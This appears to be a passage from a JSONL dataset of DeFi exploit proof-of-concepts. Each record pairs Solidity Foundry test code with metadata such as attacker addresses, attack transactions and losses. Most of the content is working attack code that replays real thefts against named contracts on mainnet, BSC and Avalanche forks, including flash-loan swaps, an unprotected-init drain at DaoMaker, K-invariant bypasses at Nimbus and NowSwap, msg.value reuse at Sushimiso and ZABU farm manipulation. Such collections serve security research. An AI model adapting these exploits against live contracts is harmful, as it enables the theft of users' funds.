deal(address(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9), address(attC), 48900000000000000000);\n deal(address(0x740836C95C6f3F49CccC65A27331D1f225138c39), address(attC), 48900000000000000000);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "14.8K USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0x8fa5cf0aa8af0e5adc7b43746ea033ca1b8e68de", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab56aec70cfb15831782239c0ce", "analysis_postmortem": "https://x.com/CertiKAlert/status/1933011428157563188", "analysis_twitter": "https://x.com/CertiKAlert/status/1933011428157563188", "funds_lost_formatted": "$14.8K", "content_richness_score": 6.7, "quality_estimate": "medium", "title": "AAVEBoost Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 48.3K USD\n// Attacker : 0x7248939f65bdd23aab9eaab1bc4a4f909567486e\n// Attack Contract : https://etherscan.io/address/0xc59d50e26aee2ca34ae11f08924c0bc619728e7c\n// Vulnerable Contract : \n// Attack Tx : https://bscscan.com/tx/0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d1\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1932309011564781774\n// Twitter Guy : https://x.com/TenArmorAlert/status/1932309011564781774\n// Hacking God : N/A\n\naddress constant PancakeV3Pool = 0xbaf9f711a39271701b837c5cC4F470d533bACf33;\naddress constant SmartRouter = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;\naddress constant TransparentUpgradeableProxy = 0x8d0D000Ee44948FC98c9B98A4FA4921476f08B0d;\naddress constant Token = 0x0B9dDfCA570305128d347A263d7061E1eB774444;\naddress constant attacker = 0xF514C02048E9296D56d693F24dFC6780A2bdD18A;\naddress constant addr = 0x8490AA884Adb08a485BC8793C17296c9E2c91294;\n\ninterface IPancakeV3Pool_Local {\n function flash(address, uint256, uint256, bytes calldata) external;\n}\nstruct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n}\ninterface ISmartRouter {\n function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);\n}\ninterface ITransparentUpgradeableProxy_Local {\n function approve(address, uint256) external returns (bool);\n function transfer(address, uint256) external returns (bool);\n}\ninterface IToken_Local {\n function approve(address, uint256) external returns (bool);\n function balanceOf(address) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 51190821);\n }\n \n function testPoC() public {\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(TransparentUpgradeableProxy).balanceOf(address(attC)), 18);\n }\n}\n\ncontract AttackerC {\n \n\n function attack() public {\n if (tx.origin == attacker) {\n IPancakeV3Pool_Local(PancakeV3Pool).flash(address(this), 0, 9350 * 1e18, hex\"00\");\n }\n }\n \n function pancakeV3FlashCallback(uint256 /*amount0*/, uint256 /*amount1*/, bytes calldata /*data*/) external {\n ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).approve(SmartRouter, 100000000000000000000000 * 1e18);\n {\n ISmartRouter(SmartRouter).exactInputSingle(\n ExactInputSingleParams({\n tokenIn: TransparentUpgradeableProxy,\n tokenOut: Token,\n fee: uint24(100),\n recipient: address(this),\n amountIn: 9350 * 1e18,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: uint160(0)\n })\n );\n }\n (bool s, ) = addr.call(abi.encodeWithSelector(bytes4(0x5ff02eae)));\n require(s, \"addr call fail\");\n IToken_Local(Token).approve(SmartRouter, 100000000000000000000000000 * 1e18);\n uint256 bal = IToken_Local(Token).balanceOf(address(this));\n {\n ISmartRouter(SmartRouter).exactInputSingle(\n ExactInputSingleParams({\n tokenIn: Token,\n tokenOut: TransparentUpgradeableProxy,\n fee: uint24(100),\n recipient: address(this),\n amountIn: bal,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: uint160(0)\n })\n );\n }\n ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).transfer(PancakeV3Pool, 9350935 * 10**15);\n }\n}", "type": "exploit_poc", "protocol": "unverified_8490", "date": "2025-06", "file_name": "unverified_8490_exp.sol", "attack_vector": null, "content_hash": "4de54a6591e516f3", "collected_at": "2026-01-07T10:59:16.528473", "_source": "postmortems", "chain": "ethereum", "block_number": 51190821, "total_lost_raw": "48.3K USD", "total_lost_usd": 48300.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0xc59d50e26aee2ca34ae11f08924c0bc619728e7c", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d1", "postmortem_url": "https://x.com/TenArmorAlert/status/1932309011564781774", "twitter_url": "https://x.com/TenArmorAlert/status/1932309011564781774", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "48.3K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(TransparentUpgradeableProxy).balanceOf(address(attC)), 18);\n }\n}\n\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "48.3K USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0xc59d50e26aee2ca34ae11f08924c0bc619728e7c", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d1", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1932309011564781774", "analysis_twitter": "https://x.com/TenArmorAlert/status/1932309011564781774", "funds_lost_formatted": "$48.3K", "content_richness_score": 7.03, "quality_estimate": "medium", "title": "unverified_8490 Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IERC20Custom {\n function transfer(address, uint256) external;\n}\n\n/*\n Vulnerable contract: https://etherscan.io/token/0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1#code\n\n root cause: inconsistent value in the code, 10000 vs 1000.\n // scope for reserve{0,1}Adjusted, avoids stack too deep errors\n uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(15));\n uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(15));\n require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Nimbus: K');*/\ncontract ContractTest is Test {\n address public pair = 0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1;\n address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_225_516); //fork bsc at block 13225516\n }\n\n function testExploit() public {\n console.log(\"Before exploiting\", IERC20(usdt).balanceOf(address(this)));\n\n uint256 amount = IERC20(usdt).balanceOf(pair) * 99 / 100;\n IUniswapV2Pair(pair).swap(amount, 0, address(this), abi.encodePacked(amount));\n\n console.log(\"After exploiting\", IERC20(usdt).balanceOf(address(this)));\n }\n\n function NimbusCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n IERC20Custom(usdt).transfer(pair, amount0 / 10);\n }\n}\n", "type": "exploit_poc", "protocol": "Nimbus", "date": "2021-09", "file_name": "Nimbus_exp.sol", "attack_vector": null, "content_hash": "365ec871b6414be5", "collected_at": "2026-01-07T10:59:16.528522", "_source": "postmortems", "chain": "ethereum", "block_number": 13225516, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://etherscan.io/token/0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1#code", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"Before exploiting\", IERC20(usdt).balanceOf(address(this)));\n\n uint256 amount = IERC20(usdt).balanceOf(pair) * 99 / 100;\n IUniswapV2Pair(pair).swap(amount, 0, address(this), abi.encodePacked(amount));\n\n console.log(\"After exploiting\", IERC20(usdt).balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.8, "quality_estimate": "low", "title": "Nimbus Exploit (2021-09)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n/*\n Attacker: 0x2708cace7b42302af26f1ab896111d87faeff92f\n Attack tx: https://etherscan.io/tx/0x96bf6bd14a81cf19939c0b966389daed778c3a9528a6c5dd7a4d980dec966388\n Affected contracts:\n 0x6e70c88be1d5c2a4c0c8205764d01abe6a3d2e22 - emergencyExit with 13.5M CAPS\n 0xd6c8dd834abeeefa7a663c1265ce840ca457b1ec - emergencyExit with 2.5M CPD, twice\n 0xdd571023d95ff6ce5716bf112ccb752e86212167 - emergencyExit with 1.44M DERC\n 0xa43b89d5e7951d410585360f6808133e8b919289 - emergencyExit with approx 20.6M SHO\n Root cause: They left the `init` function unprotected. The attacker re-initialized the contract with \n malicious data and then called `emergencyExit` to get away with the funds.*/\n\ninterface DAOMaker {\n function init(uint256, uint256[] calldata, uint256[] calldata, address) external;\n function emergencyExit(\n address\n ) external;\n}\n\ncontract ContractTest is Test {\n DAOMaker daomaker = DAOMaker(0x2FD602Ed1F8cb6DEaBA9BEDd560ffE772eb85940);\n IERC20 DERC = IERC20(0x9fa69536d1cda4A04cFB50688294de75B505a9aE);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 13_155_320); // fork mainnet block number 13155320\n }\n\n function testExploit() public {\n uint256[] memory releasePeriods = new uint256[](1);\n releasePeriods[0] = 5_702_400;\n uint256[] memory releasePercents = new uint256[](1);\n releasePercents[0] = 10_000;\n\n emit log_named_decimal_uint(\"Before exploiting, Attacker DERC balance\", DERC.balanceOf(address(this)), 18);\n\n // initialize to become contract owner\n daomaker.init(1_640_984_401, releasePeriods, releasePercents, 0x9fa69536d1cda4A04cFB50688294de75B505a9aE);\n\n // call emergencyExit to drain out the token.\n daomaker.emergencyExit(address(this));\n\n emit log_named_decimal_uint(\"After exploiting, Attacker DERC balance\", DERC.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "DaoMaker", "date": "2021-09", "file_name": "DaoMaker_exp.sol", "attack_vector": null, "content_hash": "9789092059e7f128", "collected_at": "2026-01-07T10:59:16.528563", "_source": "postmortems", "chain": "ethereum", "block_number": 13155320, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x96bf6bd14a81cf19939c0b966389daed778c3a9528a6c5dd7a4d980dec966388", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n uint256[] memory releasePeriods = new uint256[](1);\n releasePeriods[0] = 5_702_400;\n uint256[] memory releasePercents = new uint256[](1);\n releasePercents[0] = 10_000;\n\n emit log_named_decimal_uint(\"Before exploiting, Attacker DERC balance\", DERC.balanceOf(address(this)), 18);\n\n // initialize to become contract owner\n daomaker.init(1_640_984_401, releasePeriods, releasePercents, 0x9fa69536d1cda4A04cFB50688294de75B505a9aE);\n\n // call emergencyExit to drain out the token.\n daomaker.emergencyExit(address(this));\n\n emit log_named_decimal_uint(\"After exploiting, Attacker DERC balance\", DERC.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.05, "quality_estimate": "low", "title": "DaoMaker Exploit (2021-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IDutchAuction {\n function commitEth(\n address payable _beneficiary,\n bool readAndAgreedToMarketParticipationAgreement\n ) external payable;\n\n function batch(\n bytes[] calldata calls,\n bool revertOnFail\n ) external payable returns (bool[] memory successes, bytes[] memory results);\n}\n\ncontract ContractTest is Test {\n IDutchAuction DutchAuction = IDutchAuction(0x4c4564a1FE775D97297F9e3Dc2e762e0Ed5Dda0e);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n bytes[] public data;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_038_771); //fork mainnet at block 13038771\n }\n\n function testExploit() public {\n payable(address(0)).transfer(79_228_162_414_264_337_593_543_950_335);\n emit log_named_uint(\"Before exploit, ETH balance of attacker:\", address(address(this)).balance);\n emit log_named_uint(\"Before exploit, ETH balance of DutchAuction:\", address(DutchAuction).balance);\n bytes memory payload =\n abi.encodePacked(DutchAuction.commitEth.selector, uint256(uint160(address(this))), uint256(uint8(0x01)));\n data.push(payload);\n data.push(payload);\n data.push(payload);\n data.push(payload);\n data.push(payload);\n DutchAuction.batch{value: 100_000_000_000_000_000_000}(data, true);\n emit log_named_uint(\"After exploit, ETH balance of attacker:\", address(address(this)).balance);\n emit log_named_uint(\"After exploit, ETH balance of DutchAuction:\", address(DutchAuction).balance);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Sushimiso", "date": "2021-09", "file_name": "Sushimiso_exp.sol", "attack_vector": null, "content_hash": "d3b04de1a58b50c2", "collected_at": "2026-01-07T10:59:16.528604", "_source": "postmortems", "chain": "unknown", "block_number": 13038771, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n payable(address(0)).transfer(79_228_162_414_264_337_593_543_950_335);\n emit log_named_uint(\"Before exploit, ETH balance of attacker:\", address(address(this)).balance);\n emit log_named_uint(\"Before exploit, ETH balance of DutchAuction:\", address(DutchAuction).balance);\n bytes memory payload =\n abi.encodePacked(DutchAuction.commitEth.selector, uint256(uint160(address(this))), uint256(uint8(0x01)));\n data.push(payload);\n data.push(payload);\n data.push(payload);\n data.push(payload);\n data.push(payload);\n DutchAuction.batch{value: 100_000_000_000_000_000_000}(data, true);\n emit log_named_uint(\"After exploit, ETH balance of attacker:\", address(address(this)).balance);\n emit log_named_uint(\"After exploit, ETH balance of DutchAuction:\", address(DutchAuction).balance);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.96, "quality_estimate": "low", "title": "Sushimiso Exploit (2021-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IERC20Custom {\n function transfer(address, uint256) external;\n}\n\n/*\n Vulnerable contract: https://etherscan.io/address/0xa14660a33cc608b902f5bb49c8213bd4c8a4f4ca#code unverified contract\n root cause: inconsistent value in the code, 10000 vs 1000.\n Attacker contract: 0x5676e585bf16387bc159fd4f82416434cda5f1a3*/\ncontract ContractTest is Test {\n address public pair = 0xA0Ff0e694275023f4986dC3CA12A6eb5D6056C62; //NWETH/NBU\n address public nbu = 0xEB58343b36C7528F23CAAe63a150240241310049;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_225_516); //fork bsc at block 13225516\n }\n\n function testExploit() public {\n console.log(\"Before exploiting\", IERC20(nbu).balanceOf(address(this)));\n\n uint256 amount = IERC20(nbu).balanceOf(pair) * 99 / 100;\n\n IUniswapV2Pair(pair).swap(0, amount, address(this), abi.encodePacked(amount));\n\n console.log(\"After exploiting\", IERC20(nbu).balanceOf(address(this)));\n }\n\n fallback() external {\n IERC20Custom(nbu).transfer(pair, IERC20(nbu).balanceOf(address(this)) / 10);\n }\n}\n", "type": "exploit_poc", "protocol": "NowSwap", "date": "2021-09", "file_name": "NowSwap_exp.sol", "attack_vector": null, "content_hash": "4e100dacb1843374", "collected_at": "2026-01-07T10:59:16.528644", "_source": "postmortems", "chain": "ethereum", "block_number": 13225516, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0xa14660a33cc608b902f5bb49c8213bd4c8a4f4ca#code", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"Before exploiting\", IERC20(nbu).balanceOf(address(this)));\n\n uint256 amount = IERC20(nbu).balanceOf(pair) * 99 / 100;\n\n IUniswapV2Pair(pair).swap(0, amount, address(this), abi.encodePacked(amount));\n\n console.log(\"After exploiting\", IERC20(nbu).balanceOf(address(this)));\n }\n\n fallback() external {\n IERC20Custom(nbu).transfer(pair, IERC20(nbu).balanceOf(address(this)) / 10);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.66, "quality_estimate": "low", "title": "NowSwap Exploit (2021-09)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://slowmist.medium.com/brief-analysis-of-zabu-finance-being-hacked-44243919ea29\n\ninterface ZABUFarm {\n function deposit(uint256 _pid, uint256 _amount) external;\n function withdraw(uint256 _pid, uint256 _amount) external;\n function emergencyWithdraw(\n uint256 _pid\n ) external;\n}\n\ninterface PangolinRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract depositToken {\n IERC20 ZABU = IERC20(0xDd453dBD253fA4E5e745047d93667Ce9DA93bbCF);\n IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);\n IERC20 SPORE = IERC20(0x6e7f5C0b9f4432716bDd0a77a3601291b9D9e985);\n Uni_Router_V2 Router = Uni_Router_V2(0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106);\n ZABUFarm Farm = ZABUFarm(0xf61b4f980A1F34B55BBF3b2Ef28213Efcc6248C4);\n\n function depositSPORE() external payable {\n address(WAVAX).call{value: 1 ether}(\"\");\n address[] memory path = new address[](2);\n path[0] = address(WAVAX);\n path[1] = address(SPORE);\n WAVAX.approve(address(Router), type(uint256).max);\n SPORE.approve(address(Farm), type(uint256).max);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WAVAX.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n Farm.deposit(uint256(38), SPORE.balanceOf(address(this)));\n }\n\n function withdrawSPORE() external {\n Farm.withdraw(uint256(38), SPORE.balanceOf(address(Farm)));\n }\n\n function sellZABU() external {\n address[] memory path = new address[](2);\n path[0] = address(ZABU);\n path[1] = address(WAVAX);\n WAVAX.approve(address(Router), type(uint256).max);\n ZABU.approve(address(Router), type(uint256).max);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ZABU.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n\ncontract ContractTest is Test {\n IERC20 ZABU = IERC20(0xDd453dBD253fA4E5e745047d93667Ce9DA93bbCF);\n IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);\n IERC20 SPORE = IERC20(0x6e7f5C0b9f4432716bDd0a77a3601291b9D9e985);\n IERC20 PNG = IERC20(0x60781C2586D68229fde47564546784ab3fACA982);\n Uni_Router_V2 Router = Uni_Router_V2(0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106);\n ZABUFarm Farm = ZABUFarm(0xf61b4f980A1F34B55BBF3b2Ef28213Efcc6248C4);\n Uni_Pair_V2 PangolinPair1 = Uni_Pair_V2(0x0a63179a8838b5729E79D239940d7e29e40A0116); // SPORE WAVAX\n Uni_Pair_V2 PangolinPair2 = Uni_Pair_V2(0xad24a72ffE0466399e6F69b9332022a71408f10b); // SPORE PNG\n address addressContract;\n uint256 reserve0Pair1;\n uint256 reserve1Pair1;\n uint256 reserve0Pair2;\n uint256 reserve1Pair2;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"avalanche\", 4_177_751);\n }\n\n function testExploit() public payable {\n SPORE.approve(address(Farm), type(uint256).max);\n WAVAX.approve(address(Router), type(uint256).max);\n (reserve0Pair1, reserve1Pair1,) = PangolinPair1.getReserves();\n (reserve0Pair2, reserve1Pair2,) = PangolinPair2.getReserves();\n address(WAVAX).call{value: 2500 ether}(\"\");\n // depost SPORE\n ContractFactory();\n (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature(\"depositSPORE()\"));\n require(success);\n // change block.number\n cheats.roll(block.number + 900);\n\n PangolinPair1.swap(SPORE.balanceOf(address(PangolinPair1)) - 1 * 1e18, 0, address(this), new bytes(1));\n // change block.number\n cheats.roll(block.number + 1001);\n (bool success1,) = addressContract.call(abi.encodeWithSignature(\"withdrawSPORE()\"));\n require(success1);\n\n emit log_named_decimal_uint(\"Attacker ZABU profit after exploit\", ZABU.balanceOf(addressContract), 18);\n\n (bool success2,) = addressContract.call(abi.encodeWithSignature(\"sellZABU()\"));\n require(success2);\n\n emit log_named_decimal_uint(\n \"Attacker WAVAX profit after exploit\", WAVAX.balanceOf(addressContract) - 2500 * 1e18, 18\n );\n }\n\n function pangolinCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n if (msg.sender == address(PangolinPair1)) {\n PangolinPair2.swap(0, reserve1Pair2 - 1 * 1e18, address(this), new bytes(1));\n // flashswap callback pair1\n uint256 amountSPORE0 = SPORE.balanceOf(address(this));\n SPORE.transfer(address(PangolinPair1), amountSPORE0);\n uint256 SPOREInPair1 = SPORE.balanceOf(address(PangolinPair1));\n uint256 WAVAXInPair1 = WAVAX.balanceOf(address(PangolinPair1));\n uint256 amountWAVAX = (\n reserve0Pair1 * reserve1Pair1 / ((SPOREInPair1 * 1000 - amountSPORE0 * 3 * 96 / 100) / 1000)\n - WAVAXInPair1\n ) * 1000 / 997;\n WAVAX.transfer(address(PangolinPair1), amountWAVAX);\n }\n\n if (msg.sender == address(PangolinPair2)) {\n //reduced lptoken\n while (SPORE.balanceOf(address(Farm)) > 1000) {\n uint256 amount = SPORE.balanceOf(address(this));\n if (SPORE.balanceOf(address(this)) * 6 / 100 > SPORE.balanceOf(address(Farm))) {\n amount = SPORE.balanceOf(address(Farm)) * 100 / 6;\n }\n Farm.deposit(uint256(38), amount);\n Farm.withdraw(uint256(38), amount);\n }\n\n // flashswap callback pair2\n uint256 amountSPORE1 = SPORE.balanceOf(address(this)) / 3;\n SPORE.transfer(address(PangolinPair2), amountSPORE1);\n uint256 SPOREInPari2 = SPORE.balanceOf(address(PangolinPair2));\n uint256 PNGInPair2 = PNG.balanceOf(address(PangolinPair2));\n uint256 amountPNG = (\n reserve0Pair2 * reserve1Pair2 / ((SPOREInPari2 * 1000 - amountSPORE1 * 3 * 96 / 100) / 1000)\n - PNGInPair2\n ) * 1000 / 997;\n buyPNG(amountPNG);\n PNG.transfer(address(PangolinPair2), PNG.balanceOf(address(this)));\n }\n }\n\n function ContractFactory() public {\n address _add;\n bytes memory bytecode = type(depositToken).creationCode;\n assembly {\n _add := create2(0, add(bytecode, 32), mload(bytecode), 1)\n }\n addressContract = _add;\n }\n\n function buyPNG(\n uint256 amount\n ) public {\n address[] memory path = new address[](2);\n path[0] = address(WAVAX);\n path[1] = address(PNG);\n Router.swapTokensForExactTokens(amount, WAVAX.balanceOf(address(this)), path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "ZABU", "date": "2021-09", "file_name": "ZABU_exp.sol", "attack_vector": null, "content_hash": "385381ce4fc0b780", "collected_at": "2026-01-07T10:59:16.528696", "_source": "postmortems", "chain": "unknown", "block_number": 4177751, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public payable {\n SPORE.approve(address(Farm), type(uint256).max);\n WAVAX.approve(address(Router), type(uint256).max);\n (reserve0Pair1, reserve1Pair1,) = PangolinPair1.getReserves();\n (reserve0Pair2, reserve1Pair2,) = PangolinPair2.getReserves();\n address(WAVAX).call{value: 2500 ether}(\"\");\n // depost SPORE\n ContractFactory();\n (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature(\"depositSPORE()\"));\n require(success);\n // change block.number\n cheats.roll(block.number + 900);\n\n PangolinPair1.swap(SPORE.balanceOf(address(PangolinPair1)) - 1 * 1e18, 0, address(this), new bytes(1));\n // change block.number\n cheats.roll(block.number + 1001);\n (bool success1,) = addressContract.call(abi.encodeWithSignature(\"withdrawSPORE()\"));\n require(success1);\n\n emit log_named_decimal_uint(\"Attacker ZABU profit after exploit\", ZABU.balanceOf(addressContract), 18);\n\n (bool success2,) = addressContract.call(abi.encodeWithSignature(\"sellZABU()\"));\n require(success2);\n\n emit log_named_decimal_uint(\n \"Attacker WAVAX profit after exploit\", WAVAX.balanceOf(addressContract) - 2500 * 1e18, 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5, "quality_estimate": "medium", "title": "ZABU Exploit (2021-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$180K\n// Attacker : https://optimistic.etherscan.io/address/0x1fd0a6a5e232eeba8020a40535ad07013ec4ef12\n// Attack Contracts : https://optimistic.etherscan.io/address/0xe4d41bdd6459198b33cc795ff280cee02d91087b\n// https://optimistic.etherscan.io/address/0xfc3b08555b1c328ecf8b8a0ccd85679bf59bba4c (selfdestruct)\n// Vuln Contract : https://optimistic.etherscan.io/address/0x5499178919c79086fd580d6c5f332a4253244d91\n// Attack Tx : https://app.blocksec.com/explorer/tx/optimism/0xf4fc3b638f1a377cf22b729199a9aeb27fc62fe2983a65c4d14b99ee5c5b2328\n\n// @Analysis\n// https://twitter.com/SlowMist_Team/status/1750526097106915453\n// https://twitter.com/AnciliaInc/status/1750558426382635036\n\ninterface INblNftStake {\n function unlockSlot() external;\n\n function depositNft(uint256 _tokenid, uint256 _index) external;\n\n function depositNbl(uint256 _index, uint256 _amount) external;\n\n function withdrawNft(\n uint256 _index\n ) external;\n}\n\ninterface IRouterV3 {\n struct ExactInputSingleParams {\n address 